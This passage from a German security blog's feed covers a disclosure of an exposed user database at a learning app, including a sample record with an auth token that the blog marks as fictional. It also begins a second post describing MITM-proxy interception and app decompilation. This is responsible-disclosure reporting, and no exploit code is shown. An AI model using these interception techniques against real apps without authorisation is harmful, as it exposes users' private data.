&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;settings&amp;#34;&lt;/span&gt;: { &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;user&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;first_name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Alex&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;last_name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Mustermensch&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;alexmustermensch@bnd.bund.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;alexmustermensch@bnd.bund.com&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;university&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Anarchistisches Bildungs Centrum Neuland&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;course_of_studies&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Bullshit-Bingo&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;birthday&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;is_premium&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;user_type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Referral&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;last_notified&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;community_username&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;total_ects&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;180&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;planned_grade_remaining_studies&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;studyfield&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;studyfield_name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;is_professor&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;is_pupil&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;country&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;227&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;state&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;2&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;city&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;192&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;random_number&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0.5643164146823337&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;email_confirmed&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;semester&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;cost_factor&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1.20&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;tracking_number&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;2342&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;detected_country&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;227&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;returning_user&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;token&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;f2d897a2c477ad3e05a195786b8c4ca9e145e916&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;state_name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Berlin&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;school_type_name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Wir konnten so die Stammdaten aller rund drei Millionen registrierten Nutzer*innen abrufen, also:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Name&lt;/li&gt;
&lt;li&gt;E-Mail-Adresse&lt;/li&gt;
&lt;li&gt;Schule/Universität&lt;/li&gt;
&lt;li&gt;Studienrichtung&lt;/li&gt;
&lt;li&gt;Geburtsdatum&lt;/li&gt;
&lt;li&gt;Stadt, Bundesland, Land&lt;/li&gt;
&lt;li&gt;Profilbild&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://de.wikipedia.org/wiki/European_Credit_Transfer_System&#34;&gt;ECTS-Punkte&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/m/studysmarter/really-disappointed.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/m/studysmarter/really-disappointed.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;h2 id=&#34;berge-von-ordnern-im-ganzen-haus&#34;&gt;Berge von Ordnern im ganzen Haus&lt;/h2&gt;
&lt;p&gt;In dem Moment, in dem wir realisieren, dass die virtuelle Haustür weit offen steht, sehen wir auch schon die riesigen Haufen von aufgeschlagenen und wild verstreuten Aktenordnern.
Oder technisch gesprochen: In vielen Profilen standen private Daten – Namen etwa, oder Geburtsdaten. Bei einigen war zusätzlich noch ein &amp;rsquo;token&amp;rsquo; hinterlegt, also eine längere Zeichenkette aus Kombinationen von Buchstaben und Zahlen.&lt;/p&gt;
&lt;p&gt;Relativ schnell sehen wir, dass es sich dabei um das Authentifizierungs-Token handelt.
Mit dieser Zeichenkette teilt die App dem Server mit, welche*r Nutzer*in gerade eingeloggt ist.
Eigentlich sollte diese Zeichenkette geheim sein und am besten gar nicht direkt in der Datenbank stehen – denn wer diese Zeichenkette kennt, kann sich als eine andere Person ausgeben.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/m/studysmarter/shrutedisguise.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/m/studysmarter/shrutedisguise.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Damit hätten wir alles machen können, was diese Nutzer*innen in der App tun dürfen:
Wir könnten also zum Beispiel im Namen einer anderen Person Aufgaben erledigen&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;. Uns für neue Fächer registrieren. Oder eben alle Daten dieser Person abrufen, beispielsweise den Lernfortschritt – inklusive allen Details, wie eventuellen Lernschwächen.&lt;/p&gt;
&lt;h2 id=&#34;hersteller-ihr-habt-ein-problem&#34;&gt;&amp;ldquo;Hersteller, ihr habt ein Problem!&amp;rdquo;&lt;/h2&gt;
&lt;p&gt;Wir halten also fest: Es sind keine 10 Minuten vergangen, seit wir – bildlich gesprochen – gemütlich auf der Straße entlang geschlendert sind und zufällig eine Werbung gesehen haben. Die hat uns in den Garten gelockt, und dahinter haben wir eine sperrangelweit offene Haustür gefunden. Was also tun?&lt;/p&gt;
&lt;p&gt;Wir zücken unsere &lt;a href=&#34;https://de.wikipedia.org/wiki/Kolibri_(Schreibmaschine)&#34;&gt;Reiseschreibmaschine&lt;/a&gt; und beginnen mit der Dokumentation:
Was haben wir vorgefunden und wieso ist das ein Problem.
Diesen Bericht schicken wir an den Hersteller, die zuständige Landesdatenschutzbehörde und das CERT-Bund.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/m/studysmarter/raccoon-writing.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/m/studysmarter/raccoon-writing.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Von letzterem bekamen wir auch schnell eine Eingangsbestätigung – von den anderen jedoch: Nichts.&lt;/p&gt;
&lt;p&gt;Wenn wir versuchen, ein Unternehmen wegen einer Sicherheitslücke zu kontaktieren, stehen wir immer wieder vor dem gleichen Problem:
Wie erreichen wir die richtigen Leute im Unternehmen zeitnah und wie wird das Unternehmen reagieren – überflüssige Anzeigen gab es ja in diesem Jahr genug.&lt;/p&gt;
&lt;h2 id=&#34;gebt-uns-einen-notfall-kontakt-und-lest-eure-mails&#34;&gt;Gebt uns einen Notfall-Kontakt und lest eure Mails&lt;/h2&gt;
&lt;p&gt;Der einfachste Weg für uns ist eine &lt;a href=&#34;https://securitytxt.org/&#34;&gt;security.txt&lt;/a&gt;-Datei, in der das Unternehmen einen Sicherheitskontakt und weitere nützliche Informationen veröffentlicht.
Am besten sollten extra Postfächer für Schwachstellenmeldungen bereitgestellt und diese auch regelmäßig gelesen werden.
Außerdem empfehlen wir sehr, dort auch regelmäßig in den Spam-Ordner zu schauen. Denn, oh Wunder, wenn wir E-Mails mit schädlich aussehendem Code schicken, ist es wenig überraschend, wenn diese tatsächlich im Spam-Ordner landen.&lt;/p&gt;
&lt;p&gt;StudySmarter stellte uns gleich vor beide Hürden: Wir haben erstens keine direkte Kontakt-Mailadresse für IT-Schwachstellen gefunden. Und zweitens ist unsere Mail an den allgemeinen Kunden-Support und die Datenschutz-Stelle im Spam-Ordner gelandet.&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Nachdem wir also auch nach zwei Tagen nichts vom Hersteller gehört hatten und die Lücke nicht geschlossen war, probieren wir es auf anderem Wege.
Nach langem Suchen auf der Website fanden wir eine Telefonnummer: nicht vom IT-Team, sondern vom Head of Sales.
Diesen haben wir schließlich angerufen und er hat die Meldung dann aus dem Spam-Ordner rausgefischt und intern weitergeleitet.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
    &lt;source src=&#34;https://zerforschung.org/m/studysmarter/dialing-rachel-agatha-keen.webm&#34; type=&#34;video/webm&#34;&gt;
    &lt;source src=&#34;https://zerforschung.org/m/studysmarter/dialing-rachel-agatha-keen.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;h2 id=&#34;gehört-gesehen-geschlossen&#34;&gt;Gehört, gesehen, geschlossen&lt;/h2&gt;
&lt;p&gt;Nachdem unsere Hinweise endlich die richtige Stelle beim Hersteller der App erreicht haben, hat StudySmarter die Lücke dann tatsächlich in weniger als einer Stunde geschlossen. Immerhin: Tür zu, Ordner weggesperrt, wir können aufatmen.&lt;/p&gt;
&lt;p&gt;Außerdem hat StudySmarter direkt analysiert, wer auf die Daten zugegriffen hat und ein &lt;a href=&#34;https://www.studysmarter.de/studysmarter-sicherheitsupdate/&#34;&gt;&amp;ldquo;Sicherheitsupdate&amp;rdquo;&lt;/a&gt; im Firmenblog veröffentlicht. Darüber haben wir uns dann gefreut. Immerhin!&lt;/p&gt;
&lt;p&gt;Dieser Anbieter hat, nachdem er unsere Meldung entdeckt hat, also schnell reagiert und das Problem behoben.
Das ist gut.
Was allerdings nicht gut ist: Dass es zu solchen Konfigurationsfehlern überhaupt kommen kann.
Der Fall von StudySmarter zeigt Versäumnisse im Entwicklungsprozess.
Das hätten auch die Investor*innen vor dem 30 Mio. Investment im Rahmen ihrer Due Diligence überprüfen sollen.&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&#34;security-by-design&#34;&gt;Security by Design&lt;/h2&gt;
&lt;p&gt;StudySmarter sagt selbst, dass sie kurz bevor die Lücke eingebaut wurde, einen Sicherheits-Audit der Software machen lassen haben.
Das zeigt: Sicherheitsaudits alleine machen noch keine sichere Software.
Für sichere Software müssen Entwicklungsprozesse so gestaltet werden, dass solche Fehler nicht auftreten.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://zerforschung.org/posts/scoolio/&#34;&gt;Wir&lt;/a&gt; &lt;a href=&#34;https://zerforschung.org/posts/flink/&#34;&gt;sagen&lt;/a&gt; &lt;a href=&#34;https://zerforschung.org/posts/medicant/&#34;&gt;stets&lt;/a&gt;: Wenn eine Software marktreif genug ist, um Kund*innen-Daten zu speichern, dann muss sie auch reif genug sein, diese für sich zu behalten. Doch das müssen die Prozesse eben auch dauerhaft sicherstellen.&lt;/p&gt;
&lt;p&gt;Es hilft nicht, wenn StudySmarter einmal einen Sicherheitsaudit durchgeführt hat oder das von nun an monatlich tut. Wenn solche eklatanten Sicherheitslücken erst bei Audits gefunden werden, ist der Softwareentwicklungsprozess kaputt.&lt;/p&gt;
&lt;p&gt;Um die Auswirkungen solcher Fehler zu minimieren, braucht man zusätzlich Konzepte, wie man so wenig wie möglich Daten speichert – denn Daten, die nicht gespeichert werden, können auch nicht abfließen.&lt;/p&gt;
&lt;h2 id=&#34;heading&#34;&gt;🔎&lt;/h2&gt;
&lt;p&gt;All das fordert die DSGVO auch schon – es muss aber auch kontrolliert werden.
Daher muss die Politik die Datenschutzbehörden besser ausstatten, personell und monetär.
Dann können diese auch von sich aus nach solchen Lücken Ausschau halten und bei Verstößen angemessene Strafen verhängen.&lt;/p&gt;
&lt;h2 id=&#34;heading-1&#34;&gt;📰&lt;/h2&gt;
&lt;p&gt;Wir veröffentlichen diese Lücke zusammen mit Zeit Online. Deren Artikel findet ihr &lt;a href=&#34;https://www.zeit.de/digital/datenschutz/2021-12/lern-app-study-smarter-sicherheitsluecke/&#34;&gt;hier&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	&lt;p&gt;Das finden der Sicherheitslücke hat zwar nur zehn Minuten gedauert, das Aufschreiben und Veröffentlichen aber deutlich länger.&lt;/p&gt;
&lt;p&gt;Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: &lt;a href=&#34;https://zerforschung.org/unterstuetzen/&#34;&gt;https://zerforschung.org/unterstuetzen/&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id=&#34;fn:1&#34;&gt;
&lt;p&gt;&lt;a href=&#34;https://twitter.com/bkastl/status/1458761571895812104&#34;&gt;Hallo Bianca! :D&lt;/a&gt;&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:2&#34;&gt;
&lt;p&gt;Alle dargestellten Datensätze sind fiktional. Ähnlichkeiten zu real existierenden Unternehmen oder Personen sind rein zufällig und nicht beabsichtigt. Während der Produktion dieses Artikels wurden keine Datenbanken verletzt.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:3&#34;&gt;
&lt;p&gt;Bitte schickt uns kein Mails deswegen, wir werden nicht eure Hausaufgaben machen! :D&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:4&#34;&gt;
&lt;p&gt;Wir raten stark davon ab, eure E-Mails bei Google oder Outlook zu hosten, wenn ihr alle wichtigen E-Mails bekommen wollt. Beide Anbieter implementieren immer absurdere Hürden, über die ein Mailserver springen muss, damit die Mails nicht im Spam landen.&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&#34;fn:5&#34;&gt;
&lt;p&gt;Bei der &lt;a href=&#34;https://de.wikipedia.org/wiki/Due-Diligence-Pr%C3%BCfung&#34;&gt;Due Diligence&lt;/a&gt; prüfen Investor*innen ziemlich genau, in was sie da investieren. Bei einem Tech-Startup sollten dabei Faktoren wie Code-Qualität und IT-Sicherheit eine zentrale Rolle spielen.&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</description>
    </item>
    
    <item>
      <title>Learnu oder: Meine App, die hat drei Lücken 🎶</title>
      <link>https://zerforschung.org/posts/learnu/</link>
      <pubDate>Thu, 11 Nov 2021 11:00:00 +0100</pubDate>
      
      <guid>https://zerforschung.org/posts/learnu/</guid>
      <description>&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/learnu/titelbild.jpg&#34; alt=&#34;&#34;&gt;&lt;/p&gt;
&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Dieser Artikel ist der zweite Teil der &lt;a href=&#34;https://zerforschung.org/tags/back-to-school/&#34;&gt;&amp;ldquo;Back-To-School-Serie&amp;rdquo;&lt;/a&gt;.
&lt;/div&gt;
&lt;p&gt;Hausaufgaben – ein leidiges Thema, das so ziemlich alle in sehr schlechter Erinnerung haben oder noch alltäglich ertragen müssen.
Viele Schüler*innen versuchen deshalb, möglichst wenige davon zu machen und die Hausaufgaben solidarisch untereinander zu teilen.
Doch was alles schief gehen kann, wenn man versucht, daraus ein Geschäftsmodell zu machen, das zeigen wir euch jetzt.&lt;/p&gt;
&lt;p&gt;Die Gründer*innen unserer heutigen App wollten aus dem Teilen von Hausaufgaben ein Startup machen und haben sich eine Marktplatz-App für Hausaufgaben ausgedacht: learnu&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Learnu will alle Schüler*innen glücklich machen: Die einen müssen keine Hausaufgaben mehr machen, sondern können sie in der App einkaufen. Bezahlen können sie entweder mit echtem Geld (5€ im Monat für Zugang zu allen Aufgaben) – oder mit ihrer Zeit und Werbung gucken.&lt;/p&gt;
&lt;p&gt;Und die anderen können, wenn sie sich sowieso schon an den Schreibtisch setzten, Geld damit verdienen. Für hochgeladene Hausaufgaben gibt es In-App-Credits (&amp;ldquo;Learnus&amp;rdquo;), die gegen Gutscheine eingetauscht werden können.&lt;/p&gt;
&lt;h2 id=&#34;von-kein-plan-zu-kaputter-app&#34;&gt;Von kein Plan zu kaputter App&lt;/h2&gt;
&lt;p&gt;Kurz nach dem eigenen Abi, zum Start des Studiums 2020, haben die Gründer*innen die Idee dann umgesetzt.
Und das kam gut an – die App wurde von mehr als 500.000 Schüler*innen genutzt.&lt;/p&gt;
&lt;p&gt;Doch wie sie selbst zugeben, kannten sich die Gründer*innen nicht gut genug mit App-Entwicklung aus und haben die App deshalb entwickeln lassen. Sie selbst haben also die Sicherheitslücken, die wir hier beschreiben, gar nicht fabriziert – aber sie haben andere mit der Entwicklung beauftragt, ohne die Code-Qualität selbst prüfen zu können. Und das kaputte Ergebnis dann an Schüler*innen verkauft.&lt;/p&gt;
&lt;p&gt;Denn leider wurde die App technisch so schlecht umgesetzt, dass am Ende die Daten von rund 500.000 Accounts öffentlich zugänglich waren.
Dazu gehören:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vor- und Nachname, die bei der Registrierung als Klarname abgefragt werden&lt;/li&gt;
&lt;li&gt;Username innerhalb der App&lt;/li&gt;
&lt;li&gt;E-Mail-Adresse&lt;/li&gt;
&lt;li&gt;Stadt und Schule&lt;/li&gt;
&lt;li&gt;alle gestellten Fragen&lt;/li&gt;
&lt;li&gt;alle abgerufenen Antworten&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Doch bevor wir das entdeckten, mussten wir uns die App erstmal genau anschauen.&lt;/p&gt;
&lt;h2 id=&#34;heading&#34;&gt;🕵&lt;/h2&gt;
&lt;p&gt;Dazu haben wir uns, wie immer, erstmal die App installiert und einen Machine-in-the-Middle-Proxy eingerichtet.
Mit diesem können wir den Datenverkehr zwischen App und Server mitlesen. Dazu schaltet sich der Proxy dazwischen und behauptet jeweils, die entsprechende Gegenstelle zu sein.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://zerforschung.org/p/learnu/mitmproxy.png&#34; alt=&#34;Schaubild wie eine App auf unserem Smartphone mit einem Proxy auf unserem Computer und dieser mit dem Server kommuniziert&#34;&gt;&lt;/p&gt;
&lt;p&gt;Um sicherzustellen, dass ein Angreifer so etwas nicht machen kann, überprüft eine App, dass der Server ein gültiges Zertifikat hat, sich also ausweisen kann.&lt;/p&gt;
&lt;p&gt;Normalerweise fragt eine App dazu das Betriebssystem, ob dieses Zertifikat gültig ist.
Das Betriebssystem hat eine lange Liste von Stellen, die gültige Zertifikate ausstellen dürfen&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; und schaut, ob das Zertifikat von einer Stelle auf dieser Liste ausgestellt wurde.&lt;/p&gt;
&lt;p&gt;Das ist für uns super, denn dann können wir uns selbst auf diese Liste schreiben.
Damit vertraut unser Handy dann auch allen Zertifikaten, die wir selbst ausgestellt haben.&lt;/p&gt;
&lt;p&gt;Die Learnu-App ist jedoch mit dem Framework &lt;a href=&#34;https://flutter.dev/&#34;&gt;Flutter&lt;/a&gt; entwickelt worden. Flutter greift nicht auf die Liste des Betriebssystems zurück, sondern bringt eine eigene mit.
Das liegt vor allem daran, dass Flutter-Apps auf verschiedenen Betriebssystemen funktionieren sollen, aber jedes Betriebssystem einen anderen Weg hat, die Liste mit den Zertifikaten abzufragen. Also ist es einfacher, eine eigene Liste mitzubringen, als für jedes Betriebssystem eine andere Abfrage zu implementieren.&lt;/p&gt;
&lt;p&gt;Das klingt erstmal gut, stellt uns jedoch vor ein Problem:
Wir können nicht unser Test-Handy nutzen, wo wir uns bereits auf die Liste gesetzt haben, sondern müssen die Liste in der Learnu-App selbst anpassen.
Das ist nichts, was uns dauerhaft abhalten kann, aber erschwert unsere Arbeit kurzfristig.&lt;/p&gt;
&lt;h2 id=&#34;lets-get-binary&#34;&gt;Let&amp;rsquo;s get binary&lt;/h2&gt;
&lt;p&gt;Daher schauen wir uns erstmal den Code der App genauer an.
Der ist natürlich nicht öffentlich einsehbar. Deshalb müssen wir die App auf den Computer herunterladen, sie dekompilieren und können dann den Binärcode anschauen.
Dort haben wir erstmal wild rumgestochert und schnell diese Stelle gefunden:&lt;/p&gt;
